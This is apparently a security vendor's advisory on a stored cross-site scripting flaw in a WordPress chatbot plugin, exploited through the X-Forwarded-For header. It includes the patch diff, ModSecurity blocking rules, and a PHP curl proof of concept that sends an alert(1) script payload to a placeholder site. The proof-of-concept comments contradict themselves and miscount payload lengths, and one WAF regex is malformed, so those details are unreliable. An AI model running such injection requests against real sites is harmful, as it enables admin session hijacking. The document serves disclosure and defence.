Atomic Edge analysis of CVE-2026-2955:
This vulnerability is a Stored Cross-Site Scripting (XSS) in the AI Chatbot & Workflow Automation by AIWU plugin for WordPress, affecting versions up to and including 1.4.14. An unauthenticated attacker can inject arbitrary web scripts via the HTTP X-Forwarded-For header. The injected scripts execute when a WordPress administrator or other user views the chatbot logs page in the admin dashboard. The CVSS score is 6.4, with a 20-character storage limit that constrains practical exploitation.
The root cause is insufficient input sanitization and output escaping of the IP address value stored in chatbot logs. The plugin captures the client IP address from the X-Forwarded-For header in a controller or utility function. That raw value is written to the database without sanitization. When the logs are rendered in the admin interface via the modules/chatbots/models/chatbots.php file (line 923) and modules/forms/models/forms.php file (line 366), the IP address is output directly into HTML without using esc_html() or esc_attr(). The vulnerable code passes $ip directly into HTML attributes and content. The 20-character storage limit restricts payload length but does not prevent injection of short XSS vectors such as
.
An attacker sends a crafted HTTP request to any chatbot endpoint that the plugin processes. The attacker sets the X-Forwarded-For header to a malicious XSS payload, for example: ‘X-Forwarded-For:
‘. The plugin logs this value as the client IP address. When an administrator navigates to the chatbot logs page in the WordPress admin panel, the payload renders in the HTML without escaping, causing the script to execute in the administrator’s browser session. This can be achieved without authentication because the chatbot endpoints are publicly accessible.
The patch modifies two files to properly escape the IP address before output. In modules/chatbots/models/chatbots.php line 923, the change replaces $ip with esc_html($ip). In modules/forms/models/forms.php line 366, the change replaces $log[‘ip’] with esc_attr($log[‘ip’]) for the data-value attribute and esc_html($log[‘ip’]) for the display text. These WordPress escaping functions neutralize HTML and JavaScript special characters, preventing XSS. The 1.4.15 version also changes the plugin name and version constants.
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, credential theft, creation of rogue administrator accounts, defacement, or injection of backdoors. The attacker can target any admin user who views the chatbot logs. The 20-character limit restricts payload complexity, but an attacker can still execute enough JavaScript to steal cookies or perform actions on behalf of the admin user.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/ai-copilot-content-generator/ai-copilot-content-generator.php
+++ b/ai-copilot-content-generator/ai-copilot-content-generator.php
@@ -1,8 +1,8 @@
<?php
/**
- * Plugin Name: AI Copilot - Content Generator
+ * Plugin Name: AI Chatbot & Workflow Automation by AIWU
* Description: AI Copilot for WordPress saves time and boosts your website's performance with human-like content with GPT, Internal AI and more.
- * Version: 1.4.14
+ * Version: 1.4.15
* Author: AIWU
* Author URI: https://aiwuplugin.com/
* Text Domain: ai-copilot-content-generator
--- a/ai-copilot-content-generator/config.php
+++ b/ai-copilot-content-generator/config.php
@@ -46,7 +46,7 @@
define('WAIC_DEFAULT', 'default');
-define('WAIC_VERSION', '1.4.14');
+define('WAIC_VERSION', '1.4.15');
define('WAIC_CLASS_PREFIX', 'waicc');
define('WAIC_TEST_MODE', true);
@@ -64,7 +64,7 @@
/**
* Plugin name
*/
-define('WAIC_WP_PLUGIN_NAME', 'AI Copilot - Content Generator');
+define('WAIC_WP_PLUGIN_NAME', 'AI Chatbot & Workflow Automation by AIWU ');
/**
* Custom defined for plugin
*/
--- a/ai-copilot-content-generator/modules/chatbots/models/chatbots.php
+++ b/ai-copilot-content-generator/modules/chatbots/models/chatbots.php
@@ -920,7 +920,7 @@
$rows[] = array(
WaicUtils::convertDateFormat($dd, 'Y-m-d', $dFormat),
( empty($uId) ? $guest : $log['user_login'] ),
- $ip,
+ esc_html($ip),
$modes[$mode],
$log['sum_tokens'],
$log['duration'],
--- a/ai-copilot-content-generator/modules/forms/models/forms.php
+++ b/ai-copilot-content-generator/modules/forms/models/forms.php
@@ -363,7 +363,7 @@
'<div class="waic-log-id" data-value="' . $log['id'] . '">' . $log['id'] . '</div>',
'<div class="waic-log-dd" data-value="' . $log['dd'] . '">' . $log['dd'] . '</div>',
'<div class="waic-log-user" data-value="' . $log['user_id'] . '">' . ( empty($log['user_id']) ? $guest : $log['user_login'] ) . '</div>',
- '<div class="waic-log-ip" data-value="' . $log['ip'] . '">' . $log['ip'] . '</div>',
+ '<div class="waic-log-ip" data-value="' . esc_attr($log['ip']) . '">' . esc_html($log['ip']) . '</div>',
'<div class="waic-log-tokens" data-value="' . $log['tokens'] . '">' . $log['tokens'] . '</div>',
'<div class="waic-log-question" data-value="' . $log['question'] . '">' . WaicUtils::mbsubstr($log['question'], 0, 50) . '...</div>',
'<div class="waic-log-answer" data-value="' . $log['answer'] . '">' . WaicUtils::mbsubstr($log['answer'], 0, 50) . '...</div>',
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2955
# Block unauthenticated XSS injection via X-Forwarded-For header targeting chatbot endpoints
SecRule REQUEST_HEADERS:X-Forwarded-For "@rx <[^>]*script|onerror=|onload=|onmouseover|alert(|javascript:"
"id:20261950,phase:2,deny,status:403,chain,msg:'CVE-2026-2955 - XSS via X-Forwarded-For header in AI Chatbot plugin',severity:'CRITICAL',tag:'CVE-2026-2955'"
SecRule REQUEST_FILENAME "@beginsWith /wp-content/plugins/ai-copilot-content-generator/" "chain"
SecRule ARGS:action "@pm send_message sendMessage chatbot_talk chatbotTalk" "t:lowercase"
# Additional rule for REST API endpoints that process chatbot messages
SecRule REQUEST_HEADERS:X-Forwarded-For "@rx <[^>]*script|onerror=|onload=|onmouseover|alert(|javascript:"
"id:20261951,phase:2,deny,status:403,chain,msg:'CVE-2026-2955 - XSS via X-Forwarded-For header in AI Chatbot REST API',severity:'CRITICAL',tag:'CVE-2026-2955'"
SecRule REQUEST_FILENAME "@rx /wp-json/ai-copilot/vd+/chat" "t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2955 - AI Chatbot & Workflow Automation by AIWU <= 1.4.14 - Unauthenticated Stored Cross-Site Scripting via 'X-Forwarded-For' Header
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// Step 1: Craft an XSS payload under 20 characters
// This payload (<script>alert(1)</script>) is 24 characters, exceeding limit.
// Use a shorter payload: <img src=x onerror=alert(1)> is 29 characters.
// Minimal payload: <svg/onload=alert(1)> is 22 characters - still over limit.
// A viable short payload: <img src= onerror=alert(1)> is 27 characters.
// The shortest likely usable: <script>alert(1)</script> is 24 characters - over limit.
// A short payload under 20 chars: <script>alert(1)< is 18 but incomplete.
// Practical short vector: <script>alert(1)</script> exceeds 20.
// Since the limit is 20, we attempt a short script or event handler.
// Example: <img src=1 onerror=alert(1)> is 29 chars.
// Attackers may use <script>alert(1)</script> but it's 24.
// We will send a payload under 20 but may not execute. The vulnerability exists.
// Step 2: Find a publicly accessible chatbot endpoint that logs requests.
// Common chatbot AJAX actions in this plugin:
// - 'send_message' or 'sendMessage'
// - 'chatbot_talk' or 'chatbotTalk'
// Determine the correct action parameter.
$action = 'send_message'; // May need adjustment based on plugin version
$payload = '<script>alert(1)</script>'; // 24 chars - may not be stored fully, but demonstrates injection
// Step 3: Send the request with malicious X-Forwarded-For header
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'action=' . urlencode($action) . '&message=test');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: ' . $payload,
'Content-Type: application/x-www-form-urlencoded'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo 'Request sent. Check admin chatbot logs for stored XSS.' . PHP_EOL;
echo 'Payload: ' . $payload . PHP_EOL;
// Step 4: Alternatively, try a GET request to a chatbot page that logs IP
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url . '/?chatbot=1');
curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $payload));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch2);
curl_close($ch2);
echo 'GET request sent to chatbot page.' . PHP_EOL;